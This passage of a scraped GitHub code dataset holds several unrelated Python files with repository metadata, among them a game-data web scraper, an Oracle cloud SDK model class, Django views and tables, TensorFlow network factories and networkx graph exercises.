files,\n and return an Operator object with all the needed information.\n \"\"\"\n if operator_dict == {} or args.gamepress:\n operator = get_info_from_gamepress(\n args,\n operator\n )\n else:\n operator = parse_info_from_json(\n args,\n operator_dict,\n operator_key\n )\n\n return operator\n\n\ndef get_info_from_gamepress(args, operator_name):\n \"\"\"Gets information for a certain operator from a Gamepress\n page, and return an Operator object with the necessary information\n based on the flags in args.\n\n If no Gamepress page is found with the specified operator's name\n (or the page is down), this function will return None.\n\n This function independantly gathers the barebones information\n (name, rarity, description, etc.), but then creates a\n 'conditional list' (That is, consisting of a function to call,\n a conditional (usually a flag), and arguments). That is then\n passed to another function that matches those conditionals, calls\n the appropriate, necessary functions which return information,\n which is then assigned to the Operator object that is\n to be returned.\n \"\"\"\n response = scrape_for_operator(operator_name)\n if response is not None: # response succeeds\n src = response.content\n\n images_dict = read_lines_into_dict(\n \"./info/scraper/imageToText.txt\"\n )\n replacement_names = read_lines_into_dict(\n \"./info/scraper/jsonOperatorReplacements.txt\"\n )\n\n soup = BeautifulSoup(src, \"lxml\")\n # soup = BeautifulSoup(open(\"debug.html\", \"r\", encoding=\"utf-8\"), \"lxml\") # debugging\n\n # Finding the default information that should be displayed\n # for every operator (eg. tags, description, etc.)\n tags = list(\n map(\n lambda souptxt: souptxt.text.strip(),\n soup.find_all(\"div\", \"tag-title\")\n )\n )\n\n # We can find the rarity of an operator by finding the div\n # named rarity-cell and counting how many images of stars\n # are in it\n rarity = len(soup.find(\"div\", \"rarity-cell\").find_all(\"img\"))\n\n profession_text = (\n soup.find(\"div\", \"profession-title\")\n .text.strip()\n )\n\n desc = soup.find_all(\"div\", \"description-box\")\n\n desc_text = (\n [\"No proper description.\"]\n if (len(desc) < 3)\n else [\n \"\".join(\n find_siblings_of_breakpoint(desc[item])).strip() + \"\\n\"\n for item in range(3)\n ]\n )\n\n # Since the alternative JSON I use to find stats may have\n # another name for an operator, I have to convert any name\n # to a proper one recognized by that specific json\n formatted_name = operator_name.replace(\"-\", \" \").title()\n proper_name = (\n formatted_name\n if formatted_name not in replacement_names.keys()\n else replacement_names[formatted_name]\n )\n\n operator = Operator(\n proper_name,\n rarity,\n profession_text,\n desc_text,\n tags\n )\n\n # Any optional messages/properties are stored in\n # operator.properties for convenience and also to make sure\n # that printing properties doesn't take 50 lines of code.\n # Also, we can reuse the properties this way as it is stored\n # in a compact location.\n\n # Skills are different; since we have a mutually exclusive group\n # we need to format input a tiny bit before we continue\n # with skills info gathering.\n\n if args.vskills:\n skill_tiers_to_check = (\n [\n \"skill-upgrade-tab-1\",\n \"skill-upgrade-tab-7\",\n \"skill-upgrade-tab-10\"\n ]\n if rarity > 3\n else [\n \"skill-upgrade-tab-1\",\n \"skill-upgrade-tab-7\"\n ]\n )\n else:\n skill_tiers_to_check = (\n [\"skill-upgrade-tab-10\"]\n if rarity > 3\n else [\"skill-upgrade-tab-7\"]\n )\n\n check_skills = args.skills or args.vskills\n\n # Taking advantage of python's functional programming paradigms\n # to adhere to DRY principles\n\n # TODO: is this even good practice???\n # I'm trying to adhere to DRY principles but this makes me\n # start to sweat and foam at the mouth\n conditionals = [\n [\n \"skills\",\n check_skills,\n find_skills,\n [soup, skill_tiers_to_check]\n ],\n [\n \"talent\",\n args.talent,\n find_talents,\n [soup, images_dict]\n ],\n [\n \"base skills\",\n args.base,\n find_base_skills,\n [soup, images_dict]\n ],\n ]\n\n stats_requirements = [\n args.info,\n create_stats_json,\n [soup, proper_name]\n ]\n # Set the operator object's properties based on conditional\n # list\n set_operator_properties(\n args,\n conditionals,\n stats_requirements,\n operator\n )\n else:\n # The request failed, operator not found\n operator = None\n\n return operator\n\n\ndef parse_info_from_json(args, operator_dict, operator_key):\n \"\"\"Gets information for a certain operator from various JSON\n files, and return an Operator object with the necessary information\n based on the flags in args.\n\n This function assumes a check was already done to ensure the\n operator exists in the JSON files.\n\n Like the Gamepress function, this function independantly\n gathers the barebones information (name, rarity, description, etc.),\n but then creates a 'conditional list' (That is, consisting of a\n function to call for each property, a conditional (usually a flag),\n and arguments).\n\n That is then passed to another function that matches those\n conditionals, calls the appropriate, necessary functions which\n return information, which is then assigned to the Operator object\n that is to be returned.\n \"\"\"\n description_text = filter_description(operator_dict[\"description\"])\n\n formatted_json_prof = read_lines_into_dict(\n \"./info/scraper/formattedJsonProfessions.txt\"\n )\n # Set up the operator object with the good fetches\n operator = Operator(\n operator_dict[\"name\"],\n operator_dict[\"rarity\"] + 1,\n formatted_json_prof[operator_dict[\"profession\"].title()],\n [\n description_text + \"\\n\",\n operator_dict[\"itemUsage\"] + \"\\n\",\n operator_dict[\"itemDesc\"] + \"\\n\\n\"\n ],\n operator_dict[\"tagList\"],\n )\n\n # This is repeated but I feel that's fine for abstraction\n if args.vskills:\n skill_tiers_to_check = (\n [1, 7, 10]\n if operator_dict[\"rarity\"] + 1 > 3\n else [1, 7]\n )\n else:\n skill_tiers_to_check = (\n [10]\n if operator_dict[\"rarity\"] + 1 > 3\n else [7]\n )\n\n check_skills = args.skills or args.vskills\n\n conditionals = [\n [\n \"skills\",\n check_skills,\n parse_skills,\n [operator_dict, skill_tiers_to_check]\n ],\n [\n \"talent\",\n args.talent,\n parse_talents,\n [operator_dict]\n ],\n [\n \"base skills\",\n args.base,\n parse_base_skills,\n [operator_key]\n ],\n ]\n\n stats_requirements = [\n args.info,\n create_stats_dict,\n [operator_dict]\n ]\n\n set_operator_properties(\n args,\n conditionals,\n stats_requirements,\n operator\n )\n\n return operator\n\n\ndef set_operator_properties(args, conds, stats_conds, operator):\n \"\"\"With the specified operator, initializes the operator's\n properties and stats.\n\n Depending on the specified conditions and whether they were met\n or not, this function will call each properties' associated\n find/parse function with the specified arguments in each\n condition. That way, each Operator object will only have\n the necessary amount of information, as opposed to all the\n information, to cut down on request calls.\n\n Since the operator specified is expected to be an Operator object,\n this function will return nothing as all changes would be to the\n actual operator object.\n \"\"\"\n # Checking and calling the appropriate functions\n # for optional flags\n\n # Also note: we don't actually guarantee each opoerator\n # will have every property for efficency's sake.\n # We just make sure that the operator object has what it needs\n for prop, flag, find_info_function, arguments in conds:\n if flag or args.all:\n operator.set_property(prop, find_info_function(*arguments))\n\n stats_flag, stats_func, stats_args = stats_conds\n if stats_flag or args.all:\n operator.stats = stats_func(*stats_args)\n\n######################################\n\n\ndef find_operator_info(\n args: argparse.Namespace,\n operator_name: str\n) -> None:\n \"\"\"With the specified arguments, calls all the functions\n needed to find information and print all information\n out to the screen.\n\n This function will determine whether to use Gamepress\n or JSON for information, then call either one's appropriate\n information-getting functions and build an Operator object using\n the provided information.\n\n The Operator object will be used for printing. Nothing is returned.\n \"\"\"\n spinner = Halo(text=\"Fetching...\", spinner=\"dots\", color=\"magenta\")\n # Initialize the arguments for cmd purposes\n spinner.start()\n\n operator_dict, operator_key = get_operator_dict(operator_name)\n\n spinner.text = \"Parsing...\"\n spinner.color = \"yellow\"\n\n operator = parse_operator_data(\n args,\n operator_dict,\n operator_key,\n operator_name)\n # ----------------------------------------\n\n if operator is not None:\n spinner.succeed(\"Success!\")\n if operator_dict == {} or args.gamepress:\n sys.stdout.write(\"\\nSkipping JSON; Using gamepress.\\n\")\n\n # Print out the results\n sys.stdout.write(\"\\n\\n\" + operator.name + \" \")\n sys.stdout.write(\"*\" * operator.rarity + \" \") # Star rarity\n sys.stdout.write(operator.profession + \"\\n\")\n\n sys.stdout.write(operator.get_formatted_tags() + \"\\n\\n\")\n\n for desc_text in operator.description:\n sys.stdout.write(desc_text)\n\n all_properties = [\n operator.get_property(prop)\n for prop in operator.get_all_properties()\n ]\n # Fetch the stats\n all_messages = (\n [parse_stats(operator.stats)] + all_properties\n if (operator.has_stats())\n else all_properties\n )\n\n for prop in all_messages:\n for text in prop:\n sys.stdout.write(text + \"\\n\")\n\n else:\n spinner.fail(\"Failed.\")\n sys.stdout.write(\n \"\\n\\n\"\n + operator_name.replace(\"-\", \" \").title()\n + \"\\n\"\n )\n sys.stdout.write(\n \"\\n\"\n + \"Could not find operator! \"\n + \"Either the server is down, or your spelling is! \\n\"\n )\n\n sys.stdout.write(\"\\n\\n\")\n\n\ndef find_all_operator_info(\n args: argparse.Namespace\n) -> None:\n \"\"\"Finds each operator's info as specified in args.operator and\n prints the info the the screen.\"\"\"\n for index, operator in enumerate(args.operator):\n find_operator_info(args, operator)\n sys.stdout.write(\n \"\"\n if index + 1 == len(args.operator)\n else \"------------------------------------\\n\\n\"\n )\n\n\nif __name__ == \"__main__\":\n sys.stdout.write(\n \"Wrong python file to run! The main file to run is `ark.py`.\\n\\n\"\n )\n","repo_name":"wang-joseph/arknights-scraper","sub_path":"src/scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":15295,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"31585252209","text":"from oci.util import formatted_flat_dict, NONE_SENTINEL, value_allowed_none_or_none_sentinel # noqa: F401\nfrom oci.decorators import init_model_state_from_kwargs\n\n\n@init_model_state_from_kwargs\nclass UpdateAlertDetails(object):\n \"\"\"\n The details used to update an alert.\n \"\"\"\n\n #: A constant which can be used with the status property of a UpdateAlertDetails.\n #: This constant has a value of \"OPEN\"\n STATUS_OPEN = \"OPEN\"\n\n #: A constant which can be used with the status property of a UpdateAlertDetails.\n #: This constant has a value of \"CLOSED\"\n STATUS_CLOSED = \"CLOSED\"\n\n def __init__(self, **kwargs):\n \"\"\"\n Initializes a new UpdateAlertDetails object with values from keyword arguments.\n The following keyword arguments are supported (corresponding to the getters/setters of this class):\n\n :param comment:\n The value to assign to the comment property of this UpdateAlertDetails.\n :type comment: str\n\n :param status:\n The value to assign to the status property of this UpdateAlertDetails.\n Allowed values for this property are: \"OPEN\", \"CLOSED\"\n :type status: str\n\n :param freeform_tags:\n The value to assign to the freeform_tags property of this UpdateAlertDetails.\n :type freeform_tags: dict(str, str)\n\n :param defined_tags:\n The value to assign to the defined_tags property of this UpdateAlertDetails.\n :type defined_tags: dict(str, dict(str, object))\n\n \"\"\"\n self.swagger_types = {\n 'comment': 'str',\n 'status': 'str',\n 'freeform_tags': 'dict(str, str)',\n 'defined_tags': 'dict(str, dict(str, object))'\n }\n\n self.attribute_map = {\n 'comment': 'comment',\n 'status': 'status',\n 'freeform_tags': 'freeformTags',\n 'defined_tags': 'definedTags'\n }\n\n self._comment = None\n self._status = None\n self._freeform_tags = None\n self._defined_tags = None\n\n @property\n def comment(self):\n \"\"\"\n Gets the comment of this UpdateAlertDetails.\n A comment can be entered to track the alert changes done by the user.\n\n\n :return: The comment of this UpdateAlertDetails.\n :rtype: str\n \"\"\"\n return self._comment\n\n @comment.setter\n def comment(self, comment):\n \"\"\"\n Sets the comment of this UpdateAlertDetails.\n A comment can be entered to track the alert changes done by the user.\n\n\n :param comment: The comment of this UpdateAlertDetails.\n :type: str\n \"\"\"\n self._comment = comment\n\n @property\n def status(self):\n \"\"\"\n Gets the status of this UpdateAlertDetails.\n The status of the alert.\n\n Allowed values for this property are: \"OPEN\", \"CLOSED\"\n\n\n :return: The status of this UpdateAlertDetails.\n :rtype: str\n \"\"\"\n return self._status\n\n @status.setter\n def status(self, status):\n \"\"\"\n Sets the status of this UpdateAlertDetails.\n The status of the alert.\n\n\n :param status: The status of this UpdateAlertDetails.\n :type: str\n \"\"\"\n allowed_values = [\"OPEN\", \"CLOSED\"]\n if not value_allowed_none_or_none_sentinel(status, allowed_values):\n raise ValueError(\n f\"Invalid value for `status`, must be None or one of {allowed_values}\"\n )\n self._status = status\n\n @property\n def freeform_tags(self):\n \"\"\"\n Gets the freeform_tags of this UpdateAlertDetails.\n Free-form tags for this resource. Each tag is a simple key-value pair with no predefined name, type, or namespace. For more information, see `Resource Tags`__\n\n Example: `{\\\"Department\\\": \\\"Finance\\\"}`\n\n __ https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm\n\n\n :return: The freeform_tags of this UpdateAlertDetails.\n :rtype: dict(str, str)\n \"\"\"\n return self._freeform_tags\n\n @freeform_tags.setter\n def freeform_tags(self, freeform_tags):\n \"\"\"\n Sets the freeform_tags of this UpdateAlertDetails.\n Free-form tags for this resource. Each tag is a simple key-value pair with no predefined name, type, or namespace. For more information, see `Resource Tags`__\n\n Example: `{\\\"Department\\\": \\\"Finance\\\"}`\n\n __ https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm\n\n\n :param freeform_tags: The freeform_tags of this UpdateAlertDetails.\n :type: dict(str, str)\n \"\"\"\n self._freeform_tags = freeform_tags\n\n @property\n def defined_tags(self):\n \"\"\"\n Gets the defined_tags of this UpdateAlertDetails.\n Defined tags for this resource. Each key is predefined and scoped to a namespace. For more information, see `Resource Tags`__\n\n Example: `{\\\"Operations\\\": {\\\"CostCenter\\\": \\\"42\\\"}}`\n\n __ https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm\n\n\n :return: The defined_tags of this UpdateAlertDetails.\n :rtype: dict(str, dict(str, object))\n \"\"\"\n return self._defined_tags\n\n @defined_tags.setter\n def defined_tags(self, defined_tags):\n \"\"\"\n Sets the defined_tags of this UpdateAlertDetails.\n Defined tags for this resource. Each key is predefined and scoped to a namespace. For more information, see `Resource Tags`__\n\n Example: `{\\\"Operations\\\": {\\\"CostCenter\\\": \\\"42\\\"}}`\n\n __ https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm\n\n\n :param defined_tags: The defined_tags of this UpdateAlertDetails.\n :type: dict(str, dict(str, object))\n \"\"\"\n self._defined_tags = defined_tags\n\n def __repr__(self):\n return formatted_flat_dict(self)\n\n def __eq__(self, other):\n if other is None:\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n return not self == other\n","repo_name":"oracle/oci-python-sdk","sub_path":"src/oci/data_safe/models/update_alert_details.py","file_name":"update_alert_details.py","file_ext":"py","file_size_in_byte":6114,"program_lang":"python","lang":"en","doc_type":"code","stars":345,"dataset":"github-code","pt":"52"} +{"seq_id":"14548839480","text":"import django_tables2 as tables\n\nfrom .models import TagList\n\n\nclass TagListTable(tables.Table):\n tag_list = tables.LinkColumn('tag_list_images', args=[tables.A('pk')])\n delete = tables.TemplateColumn('
Delete')\n\n class Meta:\n model = TagList\n template_name = 'django_tables2/bootstrap.html'\n fields = ('tag_list', )\n show_header = False\n","repo_name":"ruduran/flickry","sub_path":"flickry/imagesbytags/tables.py","file_name":"tables.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"72429255205","text":"import functools\n\nimport tensorflow as tf\n\nfrom nets import vgg16\nfrom nets import vgg16_small\nfrom nets import vgg16_std\n#from nets import vgg16_std2\n\nfrom nets import ECCV\nfrom nets import ECCV_small\n#from nets import alex_std\n\nslim = tf.contrib.slim\n\nnetworks_map = {\n 'vgg16':vgg16.vgg16,\n 'vgg16_small':vgg16_small.vgg16_small,\n 'vgg16_std':vgg16_std.vgg16_std,\n# 'vgg16_std2':vgg16_std2.vgg16_std,\n 'ECCV':ECCV.ECCV,\n 'ECCV_small':ECCV_small.ECCV_small,\n# 'alex_std':alex_std.alex_std,\n }\n\narg_scopes_map = {\n 'vgg16':vgg16.vgg16_arg_scope,\n 'vgg16_small':vgg16_small.vgg16_small_arg_scope,\n 'vgg16_std':vgg16_std.vgg16_std_arg_scope,\n# 'vgg16_std2':vgg16_std2.vgg16_std_arg_scope,\n 'ECCV':ECCV.ECCV_arg_scope,\n 'ECCV_small':ECCV_small.ECCV_small_arg_scope,\n# 'alex_std':alex_std.alex_std_arg_scope,\n }\n\n\ndef get_network_fn(name, weight_decay=5e-4):\n \"\"\"Returns a network_fn such as `logits, end_points = network_fn(images)`.\n\n Args:\n name: The name of the network.\n num_classes: The number of classes to use for classification.\n weight_decay: The l2 coefficient for the model weights.\n is_training: `True` if the model is being used for training and `False`\n otherwise.\n\n Returns:\n network_fn: A function that applies the model to a batch of images. It has\n the following signature:\n logits, end_points = network_fn(images)\n Raises:\n ValueError: If network `name` is not recognized.\n \"\"\"\n if name not in networks_map:\n raise ValueError('Name of network unknown %s' % name)\n \n arg_scope = arg_scopes_map[name](weight_decay=weight_decay)\n func = networks_map[name]\n @functools.wraps(func)\n def network_fn(images, is_training, lr = None, val = False):\n with slim.arg_scope(arg_scope):\n return func(images, is_training=is_training, lr = lr, val = val)\n if hasattr(func, 'default_image_size'):\n network_fn.default_image_size = func.default_image_size\n\n return network_fn\n\n","repo_name":"InhaDeeplearningGroup/Academic_research","sub_path":"LSH/tensorflow_slim/nets/nets_factory.py","file_name":"nets_factory.py","file_ext":"py","file_size_in_byte":2196,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"52"} +{"seq_id":"38514372085","text":"#Exercise 1\n\nimport networkx as nx\n\n# Instantiate a new Graph: G\nG = nx.Graph()\n\n# Add nodes from each of the partitions\nG.add_nodes_from(data['student'],bipartite='student')\nG.add_nodes_from(data['forum'],bipartite='forum')\n\n# Add in each edge along with the date the edge was created\nfor r, d in data.iterrows():\n G.add_edge(d['student'],d['forum'],date=d['date']) \n\n#---------------------------------------\n#Exercise 2\n# Import necessary modules\nimport matplotlib.pyplot as plt\nimport networkx as nx\n\n# Get the student partition's nodes: student_nodes\nstudent_nodes = [n for n, d in G.nodes(data=True) if d['bipartite'] == 'student']\n\n# Create the students nodes projection as a graph: G_students\nG_students = nx.bipartite.projected_graph(G,nodes=student_nodes)\n\n# Calculate the degree centrality using nx.degree_centrality: dcs\ndcs = nx.degree_centrality(G_students)\n\n# Plot the histogram of degree centrality values\nplt.hist(list(dcs.values()))\nplt.yscale('log') \nplt.show() \n#---------------------------------------\n#Exercise 3\n\n# Import necessary modules\nimport matplotlib.pyplot as plt \nimport networkx as nx\n\n# Get the forums partition's nodes: forum_nodes\nforum_nodes = [n for n, d in G.nodes(data=True) if d['bipartite'] == 'forum']\n\n# Create the forum nodes projection as a graph: G_forum\nG_forum = nx.bipartite.projected_graph(G,nodes=forum_nodes)\n\n# Calculate the degree centrality using nx.degree_centrality: dcs\ndcs = nx.degree_centrality(G_forum)\n\n# Plot the histogram of degree centrality values\nplt.hist(list(dcs.values()))\nplt.yscale('log') \nplt.show() \n\n#---------------------------------------\n#Exercise 4\n\nimport networkx as nx\nfrom datetime import datetime\n\n# Instantiate a new graph: G_sub\nG_sub = nx.Graph()\n\n# Add nodes from the original graph\nG_sub.add_nodes_from(G.nodes(data=True))\n\n# Add edges using a list comprehension with one conditional on the edge dates, that the date of the edge is earlier than 2004-05-16.\nG_sub.add_edges_from([(u, v, d) for u, v, d in G.edges(data=True) if d['date'] < datetime(2004,5,16)])\n\n#---------------------------------------\n#Exercise 5\n\n# Import necessary modules\nfrom nxviz import CircosPlot\nimport networkx as nx\nimport matplotlib.pyplot as plt\n\n# Compute degree centrality scores of each node\ndcs = nx.bipartite.degree_centrality(G, nodes=forum_nodes)\nfor n, d in G_sub.nodes(data=True):\n G_sub.node[n]['dc'] = dcs[n]\n\n# Create the CircosPlot object: c\nc = CircosPlot(G_sub,node_color='bipartite',node_grouping='bipartite',node_order='dc')\n\n# Draw c to screen\nc.draw()\n\n# Display the plot\nplt.show() \n\n\n#---------------------------------------\n#Exercise 6\n\n# Import necessary modules\nfrom datetime import timedelta \nimport matplotlib.pyplot as plt\n\n# Define current day and timedelta of 2 days\ncurr_day = dayone\ntd = timedelta(days=2)\n\n# Initialize an empty list of posts by day\nn_posts = []\nwhile curr_day < lastday:\n if curr_day.day == 1:\n print(curr_day) \n # Filter edges such that they are within the sliding time window: edges\n edges = [(u, v, d) for u, v, d in G.edges(data=True) if d['date'] >= curr_day and d['date'] < curr_day + td]\n \n # Append number of edges to the n_posts list\n n_posts.append(len(edges))\n \n # Increment the curr_day by the time delta\n curr_day += td\n \n# Create the plot\nplt.plot(n_posts) \nplt.xlabel('Days elapsed')\nplt.ylabel('Number of posts')\nplt.show() \n\n\n#---------------------------------------\n#Exercise 7\n\nfrom datetime import datetime, timedelta\nimport numpy as np\nimport networkx as nx\nimport matplotlib.pyplot as plt\n\n# Initialize a new list: mean_dcs\nmean_dcs = []\ncurr_day = dayone\ntd = timedelta(days=2)\n\nwhile curr_day < lastday:\n if curr_day.day == 1:\n print(curr_day) \n # Instantiate a new graph containing a subset of edges: G_sub\n G_sub = nx.Graph()\n # Add nodes from G\n G_sub.add_nodes_from(G.nodes(data=True))\n # Add in edges that fulfill the criteria\n G_sub.add_edges_from([(u, v, d) for u, v, d in G.edges(data=True) if d['date'] >= curr_day and d['date'] < curr_day + td])\n \n # Get the students projection\n G_student_sub = nx.bipartite.projected_graph(G_sub,nodes=student_nodes)\n # Compute the degree centrality of the students projection\n dc = nx.degree_centrality(G_student_sub)\n # Append mean degree centrality to the list mean_dcs\n mean_dcs.append(np.mean(list(dc.values())))\n # Increment the time\n curr_day += td\n \nplt.plot(mean_dcs)\nplt.xlabel('Time elapsed')\nplt.ylabel('Degree centrality.')\nplt.show()\n\n#---------------------------------------\n#Exercise 8\n\n# Import necessary modules\nfrom datetime import timedelta\nimport networkx as nx\nimport matplotlib.pyplot as plt\n\n# Instantiate a list to hold the list of most popular forums by day: most_popular_forums\nmost_popular_forums = []\n# Instantiate a list to hold the degree centrality scores of the most popular forums: highest_dcs\nhighest_dcs = []\ncurr_day = dayone \ntd = timedelta(days=1) \n\nwhile curr_day < lastday: \n if curr_day.day == 1: \n print(curr_day) \n # Instantiate new graph: G_sub\n G_sub = nx.Graph()\n \n # Add in nodes from original graph G\n G_sub.add_nodes_from(G.nodes(data=True))\n \n # Add in edges from the original graph G that fulfill the criteria\n G_sub.add_edges_from([(u, v, d) for u, v, d in G.edges(data=True) if d['date'] >= curr_day and d['date'] < curr_day + td])\n \n # CODE CONTINUES ON NEXT EXERCISE\n curr_day += td\n\n#---------------------------------------\n#Exercise 9\n\n# Import necessary modules\nfrom datetime import timedelta\nimport networkx as nx\nimport matplotlib.pyplot as plt\n\nmost_popular_forums = []\nhighest_dcs = []\ncurr_day = dayone \ntd = timedelta(days=1) \n\nwhile curr_day < lastday: \n if curr_day.day == 1: \n print(curr_day) \n G_sub = nx.Graph()\n G_sub.add_nodes_from(G.nodes(data=True)) \n G_sub.add_edges_from([(u, v, d) for u, v, d in G.edges(data=True) if d['date'] >= curr_day and d['date'] < curr_day + td])\n \n # Get the degree centrality \n dc = nx.bipartite.degree_centrality(G_sub,forum_nodes)\n # Filter the dictionary such that there's only forum degree centralities\n forum_dcs = {n:dc for n, dc in dc.items() if n in forum_nodes}\n # Identify the most popular forum(s) \n most_popular_forum = [n for n, dc in dc.items() if dc == max(forum_dcs.values()) and dc != 0] \n most_popular_forums.append(most_popular_forum) \n # Store the highest dc values in highest_dcs\n highest_dcs.append(max(forum_dcs.values()))\n \n curr_day += td \n \nplt.figure(1) \nplt.plot([len(forums) for forums in most_popular_forums], color='blue', label='Forums')\nplt.ylabel('Number of Most Popular Forums')\nplt.show()\n\nplt.figure(2)\nplt.plot(highest_dcs, color='orange', label='DC Score')\nplt.ylabel('Top Degree Centrality Score')\nplt.show()\n\n","repo_name":"Ghiffari/datacamp-network2","sub_path":"4-tyingitup.py","file_name":"4-tyingitup.py","file_ext":"py","file_size_in_byte":6858,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"50"} +{"seq_id":"42659409222","text":"from opencensus.ext.azure.log_exporter import AzureLogHandler\n\nfrom config import AppConfiguration\nimport logging\nfrom logging.handlers import RotatingFileHandler\nfrom notification.log import LogNotifier\nfrom notification.email import SendgridNotifier\nfrom notification.telegram import TelegramClient, TelegramNotifier\n\nfrom scan.favoritesscanner import FavoritesScanner\n\ndef initializeLogging(app_config: AppConfiguration) -> None:\n logging_level = getattr(logging, app_config.logging_level.upper(), None)\n \n logging.basicConfig(\n format='%(asctime)s %(levelname)-8s %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S',\n level=logging_level,\n handlers=[\n AzureLogHandler(connection_string=app_config.azure_app_insights_connection_str),\n RotatingFileHandler('debug.log', maxBytes=100000, backupCount=10),\n logging.StreamHandler()\n ]\n )\n\ndef main():\n app_config = AppConfiguration()\n initializeLogging(app_config)\n\n scanner = FavoritesScanner(\n email=app_config.email,\n notifiers=[\n LogNotifier(),\n TelegramNotifier(\n telegram_client=TelegramClient(app_config.telegram_bot_token),\n chat_id=app_config.telegram_chat_id\n )\n ]\n )\n scanner.scan_continuously() \n\nif __name__ == '__main__':\n main()","repo_name":"Viincenttt/TooGoodToGoNotifier","sub_path":"src/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":1367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"23604154113","text":"import os\nimport numpy as np\nimport multiprocessing\nfrom optparse import OptionParser\nimport pandas as pd\n\ndef loop(toproc,metricName,unique,remove_galactic,j=0, output_q=None):\n\n for index, row in toproc.iterrows():\n cmd = 'python run_scripts/postprocessing/convert_to_npy.py --metric {} --dbName {} --unique {} --remove_galactic {}'.format(metricName,row['dbName'],unique,remove_galactic)\n print('cmd',cmd)\n os.system(cmd)\n #break\n\nparser = OptionParser()\n\nparser.add_option(\"--metricName\", type=\"str\", default='SNR',\n help=\"metric to process [%default]\")\nparser.add_option(\"--nproc\", type=\"int\", default=8,\n help=\"nb of proc to use [%default]\")\nparser.add_option(\"--unique\", type=\"int\", default=1,\n help=\"to keep only uniques [%default]\")\nparser.add_option(\"--simuVersion\", type=\"str\", default='fbs14',\n help=\"simulation version[%default]\")\nparser.add_option(\"--remove_galactic\", type=\"int\", default=1,\n help=\"remove galactic plane[%default]\")\n\nopts, args = parser.parse_args()\n\nmetricName = opts.metricName\nnproc = opts.nproc\nunique = opts.unique\nremove_galactic = opts.remove_galactic\n\nfilename = 'plot_scripts/cadenceCustomize_{}.csv'.format(opts.simuVersion)\n\n# forPlot = pd.read_csv(filename).to_records()\nforPlot = pd.read_csv(filename)\n\nnvals = int(len(forPlot))\ndelta = nvals\nif nproc > 1:\n delta = int(delta/(nproc))\n\ntabvals= range(0, nvals, delta)\nif nvals not in tabvals:\n tabvals = np.append(tabvals, nvals)\n\ntabvals = tabvals.tolist()\n\n\nif nproc >=7:\n if tabvals[-1]-tabvals[-2] <= 10:\n tabvals.remove(tabvals[-2])\n\nprint(tabvals, len(tabvals))\nresult_queue = multiprocessing.Queue()\n\nfor j in range(len(tabvals)-1):\n ida = tabvals[j]\n idb = tabvals[j+1]\n\n p = multiprocessing.Process(name='Subprocess-'+str(j), target=loop, args=(\n forPlot[ida:idb], metricName,unique,remove_galactic,j, result_queue))\n p.start()\n\n\n","repo_name":"LSSTDESC/sn_pipe","sub_path":"run_scripts/postprocessing/Loop_convert.py","file_name":"Loop_convert.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"12250315094","text":"from django.shortcuts import render, redirect\nfrom django.contrib import messages\nfrom .models import Profile\nfrom django.contrib.auth.models import User\nfrom question_papers.models import Question_paper\nfrom provides.models import Provide\nfrom django.contrib.auth.decorators import login_required\n\n# Create your views here.\n\n\n@login_required\ndef profile_view(request):\n \"\"\"\n Display an individual users profile :model:`profiles.Profile`.\n\n **Context**\n\n ``mymodel``\n An instance of :model:`profiles.Profile`.\n\n **Template:**\n\n :template:`profiles/profile.html`\n \"\"\"\n my_papers_reviewing = Provide.objects.filter(provider=request.user)\n my_papers_uploaded = Question_paper.objects.filter(provider=request.user)\n print(my_papers_uploaded)\n my_recs = request.user.profile.get_recomended_profiles()\n print(my_recs)\n context = {\n \"my_papers_reviewing\": my_papers_reviewing,\n \"my_papers_uploaded\": my_papers_uploaded,\n \"my_recs\": my_recs,\n }\n\n return render(request, 'profiles/profile.html', context)\n\n\ndef profile_settings(request):\n \"\"\"\n Helps to update users profile information :model:`profiles.Profile`.\n\n **Context**\n\n ``mymodel``\n An instance of :model:`profiles.Profile`.\n\n **Template:**\n\n :template:'profiles/profile_edit.html`\n \"\"\"\n if request.method == \"POST\" or None or request.FILES:\n\n user_id = request.POST.get('user_id')\n name = request.POST.get('full_name')\n pic = request.FILES.get('pic')\n bio = request.POST.get('bio')\n college = request.POST.get('college')\n try:\n if name == \"\" or bio == \"\" or college == \"\":\n messages.warning(request, 'Values can not be null.')\n return render(request, 'profiles/profile_edit.html')\n\n userObj = User.objects.get(id=user_id)\n userObj.first_name = name\n userObj.save()\n\n profileObj = Profile.objects.get(user=request.user)\n\n profileObj.college = college\n if pic is not None:\n profileObj.pic = pic\n profileObj.bio = bio\n profileObj.save()\n messages.success(request, 'Your profile updated successfully.')\n\n return redirect(\"profile\")\n except Exception as e:\n messages.error(request, f\"Profile not updated successfully\\n {e}\")\n return render(request, 'profiles/profile_edit.html')\n\n return render(request, 'profiles/profile_edit.html')\n","repo_name":"vignesh-cloud-prog/QP","sub_path":"profiles/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2524,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"50"} +{"seq_id":"38900061595","text":"from core.shapes.shape import Shape\nfrom pyrr import Vector3\nfrom pyoptix import Geometry\nimport numpy as np\nfrom core.utils.math_utils import BoundingBox\nimport math\n\nclass Sphere(Shape):\n def __init__(self, props):\n from core.loader.loader_general import load_value\n super().__init__(props)\n self.radius = load_value(props, \"radius\", 1.0)\n self.center = load_value(props, \"center\", Vector3([0, 0, 0]))\n\n if props.find(\"transform/matrix\") is not None:\n transform = load_value(props, \"toWorld\")\n self.center = transform * self.center\n self.radius = np.linalg.norm(transform * Vector3([1, 0, 0]) - self.center)\n\n self.center = 